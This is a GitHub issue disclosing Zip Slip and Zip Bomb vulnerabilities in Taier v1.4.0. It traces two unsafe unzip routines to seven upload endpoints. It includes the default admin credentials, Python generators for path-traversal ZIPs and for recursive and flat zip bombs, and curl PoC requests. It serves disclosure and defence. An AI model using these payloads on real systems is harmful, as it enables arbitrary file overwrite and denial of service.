Skip to content

[Bug] Taier v1.4.0 is affected by Zip Slip and Zip Bomb vulnerabilities. #1199

@Jay17-git

Description

@Jay17-git

Search before asking

  • I had searched in the issues and found no similar issues.

What happened

Taier v1.4.0 存在Zip Slip与Zip Bomb漏洞,覆盖两套解压系统,多个漏洞入口。

What you expected to happen

攻击者可通过上传包含路径穿越条目的恶意 ZIP 文件,将文件写入目标目录之外,造成任意文件写入或覆盖。也可上传高压缩比 ZIP 文件,触发服务端持续解压写盘,导致 CPU、内存、磁盘 I/O 或存储空间耗尽,造成拒绝服务。

How to reproduce

Taier Archive File Vulnerability Report

Taier v1.4.0 is affected by Zip Slip and Zip Bomb vulnerabilities. The issues cover two decompression systems and multiple vulnerable entry points.

Deploy this project:

image-20260421065108355

The default username and password are admin@dtstack.com / admin123.

1. Vulnerability Overview

This source code contains two insecure decompression implementations. Each implementation can lead to both Zip Slip and Zip Bomb issues.

1) Common decompressor in taier-common: can lead to Zip Slip and recursive Zip Bomb

File:

taier-common/src/main/java/com/dtstack/taier/common/util/ZipUtil.java:226-282

Key code:

  • ZipUtil.java:235
    File _file = new File(descDir + File.separator + entry.getName());
  • ZipUtil.java:242-247
    Parent directories are created and files are written directly.
  • No normalize / canonicalPath / startsWith(baseDir) validation is performed.
  • ZipUtil.java:257-258
    If the extracted file header is still ZIP, upzipFile(...) is called recursively.
  • ZipUtil.java:265-266
    IOException is swallowed directly.

This leads to both of the following:

  • Zip Slip: entry.getName() can contain ../.
  • Zip Bomb: nested ZIP files are recursively decompressed without limits on total size, entry count, or compression ratio.

2) Datasource plugin decompressor: can lead to Zip Slip and regular Zip Bomb

File:

taier-datasource/taier-datasource-plugin/taier-datasource-plugin-common/src/main/java/com/dtstack/taier/datasource/plugin/common/utils/ZipUtil.java:81-112

Key code:

  • ZipUtil.java:89
    File singleFile = new File(targetLocation + File.separator + entry.getName());
  • ZipUtil.java:94-103
    Parent directories are created and files are written directly.
  • It also lacks path normalization and directory-boundary validation.

It does not have the recursive decompression logic used by the common decompressor, but it is still affected by:

  • Zip Slip
  • Regular Zip Bomb: high compression ratio / large number of entries / large total decompressed size

Zip Slip Vulnerability Report

There are 7 Zip Slip entry points.


Entry Point 1: /taier/api/upload/component/parseKerberos

Code Evidence

HTTP entry point:

  • taier-data-develop/src/main/java/com/dtstack/taier/develop/controller/console/UploadController.java:130-133

Upload saved locally:

  • UploadController.java:143-159

Decompression and parsing:

  • taier-data-develop/src/main/java/com/dtstack/taier/develop/service/console/ConsoleComponentService.java:627-635
  • ConsoleComponentService.java:637-647

Decompression base directory:

  • taier-worker/taier-worker-api/src/main/java/com/dtstack/taier/pluginapi/constrant/ConfigConstant.java:82

Container working directory and existing log directory:

  • Dockerfile:4,14,19,27-28

Vulnerable sink:

  • taier-common/src/main/java/com/dtstack/taier/common/util/ZipUtil.java:226-247

Benign ZIP Generation

This chain uses the common upzipFile(...) method. Adding a leading p/ directory makes the proof more stable.

import zipfile

with zipfile.ZipFile("taier-slip-poc.zip", "w", zipfile.ZIP_DEFLATED) as zf:
    # Add a leading directory first so that /usr/taier/unzip/taier-slip-poc.zip/p exists.
    zf.writestr(zipfile.ZipInfo("p/"), b"")

    # Write outside the extraction directory to an existing and easy-to-observe harmless target.
    zf.writestr("p/../../../../../../../../../../../../../../../../../../tmp/taier-slip-proof.txt", b"TAIER_ZIPSLIP_POC\n")

    # Add a normal file for debugging.
    zf.writestr("p/readme.txt", b"inside zip\n")

PoC

curl.exe -i `
  -X POST "http://192.168.20.129:8090/taier/api/upload/component/parseKerberos" `
  -H "Cookie: token=...; username=admin@dtstack.com; userId=1" `
  -F "fileName=@E:\Desktop\taier-slip-poc.zip;type=application/zip"

Verification

Even if the API finally returns an error such as “missing keytab”, the Zip Slip file write has already occurred.

image-20260423013144277

Verify:

docker exec -it taier sh -c 'ls -lah /tmp | head'
docker exec -it taier sh -c 'cat /tmp/taier-slip-poc.txt'

image-20260423013132549


Entry Point 2: /taier/api/upload/component/uploadKerberos

Code Evidence

HTTP entry point:

  • taier-data-develop/src/main/java/com/dtstack/taier/develop/controller/console/UploadController.java:136-140

Preceding SFTP retrieval:

  • taier-data-develop/src/main/java/com/dtstack/taier/develop/service/console/ConsoleComponentService.java:744-757
  • ConsoleComponentService.java:377-390

Actual decompression:

  • ConsoleComponentService.java:482-499
  • ConsoleComponentService.java:500-511

Local Kerberos decompression path:

  • ConsoleComponentService.java:612-617

Component type codes:

  • taier-common/src/main/java/com/dtstack/taier/common/enums/EComponentType.java:27-35

Vulnerable sink:

  • taier-common/src/main/java/com/dtstack/taier/common/util/ZipUtil.java:226-247

Benign ZIP Generation

The local decompression directory for this chain comes from env.getTempDir() + clusterName + componentType + KERBEROS. The path is less fixed than /usr/taier/unzip/..., so this PoC uses a large traversal depth and writes benignly to /tmp/taier-slip-proof.txt.

import zipfile

OUT = "taier-slip-poc.zip"
ENTRY = "p/../../../../../../../../../../../../../../tmp/taier-slip-proof.txt"

with zipfile.ZipFile(OUT, "w", zipfile.ZIP_DEFLATED) as zf:
    zf.writestr(zipfile.ZipInfo("p/"), b"")
    zf.writestr(ENTRY, b"TAIER_ZIPSLIP_POC\n")
    zf.writestr("p/readme.txt", b"dummy\n")

print(f"[+] wrote {OUT}")
print(f"[+] evil entry = {ENTRY}")

PoC

curl.exe -i `
  -X POST "http://192.168.20.129:8090/taier/api/upload/component/uploadKerberos" `
  -H "Cookie: token=...; username=admin@dtstack.com; userId=1" `
  -F 'kerberosFile=@taier-slip-poc.zip;type=application/zip' `
  -F 'clusterId=1' `
  -F 'componentCode=1' `
  -F 'versionName=test'

The principle is the same, but SFTP needs to be configured.


Entry Point 3: /taier/api/upload/component/config

Code Evidence

HTTP entry point:

  • taier-data-develop/src/main/java/com/dtstack/taier/develop/controller/console/UploadController.java:60-64

ZIP decompression is only reached when componentType belongs to componentTypeConfigMapping:

  • taier-data-develop/src/main/java/com/dtstack/taier/develop/service/console/ConsoleComponentService.java:151,160-161
  • ConsoleComponentService.java:882-891

This only includes:

  • HDFS(2)
  • YARN(3)

See:

  • taier-common/src/main/java/com/dtstack/taier/common/enums/EComponentType.java:32-33

Actual decompression:

  • ConsoleComponentService.java:1050-1067
  • taier-scheduler/src/main/java/com/dtstack/taier/scheduler/utils/XmlFileUtil.java:72-75

Vulnerable sink:

  • taier-common/src/main/java/com/dtstack/taier/common/util/ZipUtil.java:226-247

Benign ZIP Generation

import zipfile

OUT = "taier-slip-component-config.zip"

with zipfile.ZipFile(OUT, "w", zipfile.ZIP_DEFLATED) as zf:
    zf.writestr(zipfile.ZipInfo("p/"), b"")
    zf.writestr("p/../../../../../../../../../../../../tmp/taier-slip-proof.txt", b"TAIER_ZIPSLIP_POC\n")
    zf.writestr("p/readme.txt", b"dummy\n")

PoC

The following example uses componentType=2 (HDFS):

curl.exe -i `
  -X POST "http://192.168.20.129:8090/taier/api/upload/component/config" `
  -H "Cookie: token=...; username=admin@dtstack.com; userId=1" `
  -F "fileName=@E:\Desktop\taier-slip-component-config.zip;type=application/zip" `
  -F "componentType=2" `
  -F "autoDelete=true"

image-20260424050035791

Verification

docker exec -it taier sh -c 'ls -lah /tmp | head'
docker exec -it taier sh -c 'cat /tmp/taier-slip-proof.txt'

image-20260424050026154

Notes

  • ZIP decompression is only reached when componentType=2(HDFS) or 3(YARN).
  • If another componentType is passed, the code follows parseJsonFile(...) and Zip Slip is not triggered.

Entry Point 4: /taier/api/upload/component/addOrUpdateComponent

Code Evidence

HTTP entry point:

  • taier-data-develop/src/main/java/com/dtstack/taier/develop/controller/console/UploadController.java:67-123

There are two internal branches that can trigger Zip Slip.

Branch A: Kerberos ZIP branch

  • ConsoleComponentService.java:332-345
  • ConsoleComponentService.java:482-499

Branch B: HDFS / YARN configuration ZIP branch

  • ConsoleComponentService.java:332-357
  • ConsoleComponentService.java:402-416
  • ConsoleComponentService.java:731-733

Local decompression directory for configuration files:

  • taier-scheduler/src/main/java/com/dtstack/taier/scheduler/service/ComponentService.java:203-208
  • ConsoleComponentService.java:405-407

Vulnerable sink:

  • taier-common/src/main/java/com/dtstack/taier/common/util/ZipUtil.java:226-247

Benign ZIP Generation

This uses the more stable HDFS/YARN configuration ZIP branch.

import zipfile

OUT = "taier-slip-addOrUpdateComponent.zip"

with zipfile.ZipFile(OUT, "w", zipfile.ZIP_DEFLATED) as zf:
    zf.writestr(zipfile.ZipInfo("p/"), b"")
    zf.writestr("p/../../../../../../../../../../../../tmp/taier-slip-proof.txt", b"TAIER_ZIPSLIP_POC\n")
    zf.writestr("p/readme.txt", b"dummy\n")

PoC

This API requires both resources1 and resources2 to be multipart array parameters. For stability, the same harmless ZIP can be uploaded twice.

The following example uses componentCode=2 (HDFS):

curl.exe -i `
  -X POST "http://192.168.20.129:8090/taier/api/upload/component/addOrUpdateComponent" `
  -H "Cookie: token=...; username=admin@dtstack.com; userId=1" `
  -F "resources1=@E:\Desktop\taier-slip-addOrUpdateComponent.zip;type=application/zip" `
  -F "resources2=@E:\Desktop\taier-slip-addOrUpdateComponent.zip;type=application/zip" `
  -F "clusterId=1" `
  -F "componentConfig={}" `
  -F "versionName=test" `
  -F "kerberosFileName=notmatch.zip" `
  -F "componentCode=2" `
  -F "principals=" `
  -F "principal=" `
  -F "isMetadata=false" `
  -F "isDefault=false" `
  -F "deployType=0"

Verification

docker exec -it taier sh -c 'ls -lah /tmp/taier-slip-proof.txt && cat /tmp/taier-slip-proof.txt'

Notes

  • This API also depends on SFTP being configured.
  • There are two trigger methods:
    1. kerberosFileName matches a ZIP file name and enters the Kerberos branch.
    2. When componentCode=2/3, a normal ZIP enters the HDFS/YARN configuration branch.
  • The example above uses the second method, which is usually more convenient for benign verification.

Entry Point 5: /taier/api/dataSource/addDs/getPrincipalsWithConf

Code Evidence

HTTP entry point:

  • taier-data-develop/src/main/java/com/dtstack/taier/develop/controller/datasource/DatasourceAddController.java:211-219

Upload aspect saves the temporary file:

  • taier-data-develop/src/main/java/com/dtstack/taier/develop/aspect/UploadAspect.java:65-84

The service first builds the Kerberos configuration:

  • taier-data-develop/src/main/java/com/dtstack/taier/develop/service/datasource/impl/DatasourceService.java:244-247
  • DatasourceService.java:258-266

Kerberos ZIP parsing:

  • taier-datasource/taier-datasource-plugin/taier-datasource-plugin-kerberos-core/src/main/java/com/dtstack/taier/datasource/plugin/kerberos/core/KerberosClient.java:58-60

Vulnerable sink:

  • taier-datasource/taier-datasource-plugin/taier-datasource-plugin-common/src/main/java/com/dtstack/taier/datasource/plugin/common/utils/ZipUtil.java:81-107

Benign ZIP Generation

import sys
import zipfile

out = sys.argv[1] if len(sys.argv) > 1 else "taier-slip-poc.zip"
entry_name = sys.argv[2] if len(sys.argv) > 2 else "../../../../../../../../../../../../../../../../tmp/taier-slip-proof.txt"
content = b"TAIER_ZIPSLIP_POC\n"

with zipfile.ZipFile(out, "w", zipfile.ZIP_DEFLATED) as zf:
    zf.writestr(entry_name, content)
    zf.writestr("dummy/readme.txt", b"dummy")

print(f"[+] wrote {out}")
print(f"[+] evil entry = {entry_name}")

PoC

Note that the parameter name must be file, not kerberosFile.

curl.exe -i `
  -X POST "http://192.168.20.129:8090/taier/api/dataSource/addDs/getPrincipalsWithConf" `
  -H "Cookie: token=...; username=admin@dtstack.com; userId=1" `
  -F 'file=@taier-slip-poc.zip;type=application/zip' `
  -F 'userId=1' 

Verification

image-20260423012517504

image-20260423012446520


Entry Point 6: /taier/api/dataSource/addDs/testConWithKerberos

Code Evidence

HTTP entry point:

  • taier-data-develop/src/main/java/com/dtstack/taier/develop/controller/datasource/DatasourceAddController.java:135-158

Upload aspect:

  • taier-data-develop/src/main/java/com/dtstack/taier/develop/aspect/UploadAspect.java:65-84

The service first parses the Kerberos ZIP:

  • taier-data-develop/src/main/java/com/dtstack/taier/develop/service/datasource/impl/DatasourceService.java:283-285
  • DatasourceService.java:258-266

Vulnerable sink:

  • taier-datasource/.../common/utils/ZipUtil.java:81-107

Benign ZIP Generation

import zipfile

OUT = "taier-slip-testConWithKerberos.zip"
ENTRY = "../../../../../../../../../../../../../../../../tmp/taier-slip-proof.txt"

with zipfile.ZipFile(OUT, "w", zipfile.ZIP_DEFLATED) as zf:
    zf.writestr(ENTRY, b"TAIER_ZIPSLIP_POC\n")
    zf.writestr("dummy/readme.txt", b"dummy\n")

PoC

This API requires dataJsonString to contain at least principal. See DatasourceAddController.java:142-147.

curl.exe -i `
  -X POST "http://192.168.20.129:8090/taier/api/dataSource/addDs/testConWithKerberos" `
  -H "Cookie: token=...; username=admin@dtstack.com; userId=1" `
  -F "file=@E:\Desktop\taier-slip-testConWithKerberos.zip;type=application/zip" `
  -F "userId=1" `
  -F 'dataJsonString=eyJwcmluY2lwYWwiOiJwb2NARVhBTVBMRS5DT00ifQ=='

image-20260424051520167

Verification

docker exec -it taier sh -c 'ls -lah /tmp/taier-slip-proof.txt && cat /tmp/taier-slip-proof.txt'

image-20260424051513854

Notes

  • A business error may occur later because the datasource connection parameters are incomplete.
  • However, Zip Slip occurs during the buildKerberosConfig(...) stage, before the actual connectivity test.

Entry Point 7: /taier/api/dataSource/addDs/addOrUpdateSourceWithKerberos

Code Evidence

HTTP entry point:

  • taier-data-develop/src/main/java/com/dtstack/taier/develop/controller/datasource/DatasourceAddController.java:182-207

Upload aspect:

  • taier-data-develop/src/main/java/com/dtstack/taier/develop/aspect/UploadAspect.java:65-84

At the beginning of the service method, the Kerberos configuration is built first:

  • taier-data-develop/src/main/java/com/dtstack/taier/develop/service/datasource/impl/DatasourceService.java:357-362
  • DatasourceService.java:258-266

Vulnerable sink:

  • taier-datasource/.../common/utils/ZipUtil.java:81-107

Benign ZIP Generation

import zipfile

OUT = "taier-slip-addOrUpdateSourceWithKerberos.zip"
ENTRY = "../../../../../../../../../../../../../../../../tmp/taier-slip-proof.txt"

with zipfile.ZipFile(OUT, "w", zipfile.ZIP_DEFLATED) as zf:
    zf.writestr(ENTRY, b"TAIER_ZIPSLIP_POC\n")
    zf.writestr("dummy/readme.txt", b"dummy\n")

PoC

In addition to dataJsonString.principal, this API also requires dataName to be non-empty. See:

  • DatasourceAddController.java:188-203
curl.exe -i `
  -X POST "http://192.168.20.129:8090/taier/api/dataSource/addDs/addOrUpdateSourceWithKerberos" `
  -H "Cookie: token=...; username=admin@dtstack.com; userId=1" `
  -F "file=@E:\Desktop\taier-slip-addOrUpdateSourceWithKerberos.zip;type=application/zip" `
  -F "userId=1" `
  -F "tenantId=1" `
  -F "dataName=zipslip-poc" `
  -F "appTypeListString=[1]" `
  -F 'dataJsonString=eyJwcmluY2lwYWwiOiJwb2NARVhBTVBMRS5DT00ifQ=='

image-20260424051636502

Verification

docker exec -it taier sh -c 'ls -lah /tmp/taier-slip-proof.txt && cat /tmp/taier-slip-proof.txt'

image-20260424051629627

Notes

  • This chain is the same as the previous one: later business stages may fail, but Zip Slip occurs first.
  • This is a proof-style entry point where “the file write has occurred, even if the business flow may not succeed.”

Zip Bomb Vulnerability Report

Vulnerability Conclusion

Taier is affected not only by Zip Slip, but also by Zip Bomb.

There are two categories:

1) Recursive Zip Bomb: affects entry points that use the common taier-common ZipUtil.upzipFile(...)

Affected routes:

  1. /taier/api/upload/component/parseKerberos
  2. /taier/api/upload/component/uploadKerberos
  3. /taier/api/upload/component/config
  4. /taier/api/upload/component/addOrUpdateComponent

Code evidence:

  • taier-common/src/main/java/com/dtstack/taier/common/util/ZipUtil.java:246-258

Key points:

  • No per-file size limit
  • No total decompressed-size limit
  • No entry-count limit
  • No compression-ratio limit
  • If the extracted file header is still ZIP, upzipFile(...) is called recursively

This means the impact of a nested Zip Bomb is amplified.

2) Regular Zip Bomb: affects entry points that use the datasource plugin unzipFile(...)

Affected routes:

  1. /taier/api/dataSource/addDs/getPrincipalsWithConf
  2. /taier/api/dataSource/addDs/testConWithKerberos
  3. /taier/api/dataSource/addDs/addOrUpdateSourceWithKerberos

Code evidence:

  • taier-datasource/.../common/utils/ZipUtil.java:81-107
  • taier-datasource/.../kerberos/core/KerberosClient.java:58-60

Key points:

  • No total decompressed-size limit
  • No per-entry limit
  • No entry-count limit
  • No compression-ratio limit

Although this implementation does not recursively decompress nested ZIP files, a regular high-compression-ratio bomb can still take down the service.


Impact

In the Docker test environment, the following may occur:

  • CPU spikes
  • Disk exhaustion
  • Java process OOM
  • Requests blocked for a long time
  • Overall service unavailability

Benign / Controlled Zip Bomb Generation

A. Recursive Bomb targeting the common upzipFile(...)

Recommended for:

  • /taier/api/upload/component/parseKerberos
  • /taier/api/upload/component/config

These two routes do not require SFTP, so they are the easiest to verify directly.

# make_taier_recursive_zipbomb.py
import io
import zipfile

LEAF_SIZE = 8 * 1024 * 1024   # 8 MB
WIDTH = 4
DEPTH = 3

def build(depth):
    if depth == 0:
        return b"A" * LEAF_SIZE

    inner = build(depth - 1)
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED, compresslevel=9) as zf:
        for i in range(WIDTH):
            if depth == 1:
                name = f"leaf_{i}.bin"
            else:
                name = f"level{depth}_{i}.zip"
            zf.writestr(name, inner)
    return buf.getvalue()

data = build(DEPTH)
with open("taier-recursive-bomb.zip", "wb") as f:
    f.write(data)

print("[+] wrote taier-recursive-bomb.zip")
print(f"[+] theoretical expansion ~= {LEAF_SIZE * (WIDTH ** DEPTH) / (1024**3):.2f} GiB")

B. Regular Bomb targeting datasource unzipFile(...)

Recommended for:

  • /taier/api/dataSource/addDs/getPrincipalsWithConf
# make_taier_flat_zipbomb.py
import zipfile

OUT = "taier-flat-bomb.zip"
COUNT = 150
EACH = 2 * 1024 * 1024  # 2MB

with zipfile.ZipFile(OUT, "w", zipfile.ZIP_DEFLATED, compresslevel=9) as zf:
    payload = b"A" * EACH
    for i in range(COUNT):
        zf.writestr(f"f{i:03d}.bin", payload)

print(f"[+] wrote {OUT}")
print(f"[+] uncompressed total ~= {COUNT * EACH / (1024**2):.1f} MB")

Zip Bomb PoC

1) Recursive Bomb targeting parseKerberos

curl.exe -i `
  -X POST "http://192.168.20.129:8090/taier/api/upload/component/parseKerberos" `
  -H "Cookie: token=YOUR_TOKEN; username=admin@dtstack.com; userId=1" `
  -F "fileName=@E:\Desktop\taier-recursive-bomb.zip;type=application/zip"

2) Regular Bomb targeting getPrincipalsWithConf

curl.exe -i `
  -X POST "http://192.168.20.129:8090/taier/api/dataSource/addDs/getPrincipalsWithConf" `
  -H "Cookie: token=YOUR_TOKEN; username=admin@dtstack.com; userId=1" `
  -F "file=@E:\Desktop\taier-flat-bomb.zip;type=application/zip" `
  -F "userId=1"

Zip Bomb Verification

Observe inside the container:

docker stats
docker exec -it taier sh -c 'df -h'
docker exec -it taier sh -c 'ps aux | grep java'
docker logs taier --tail=200

Usually, the following can be observed:

  • CPU/memory usage increases significantly.
  • The decompression directory or temporary directory expands quickly.
  • The request hangs or returns an error.

Anything else

No response

Version

v1.4

Are you willing to submit PR?

  • Yes I am willing to submit a PR!

Code of Conduct

Metadata

Metadata

Assignees

No one assigned

    Labels

    CVECommon Vulnerabilities & ExposuresbugSomething isn't working

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions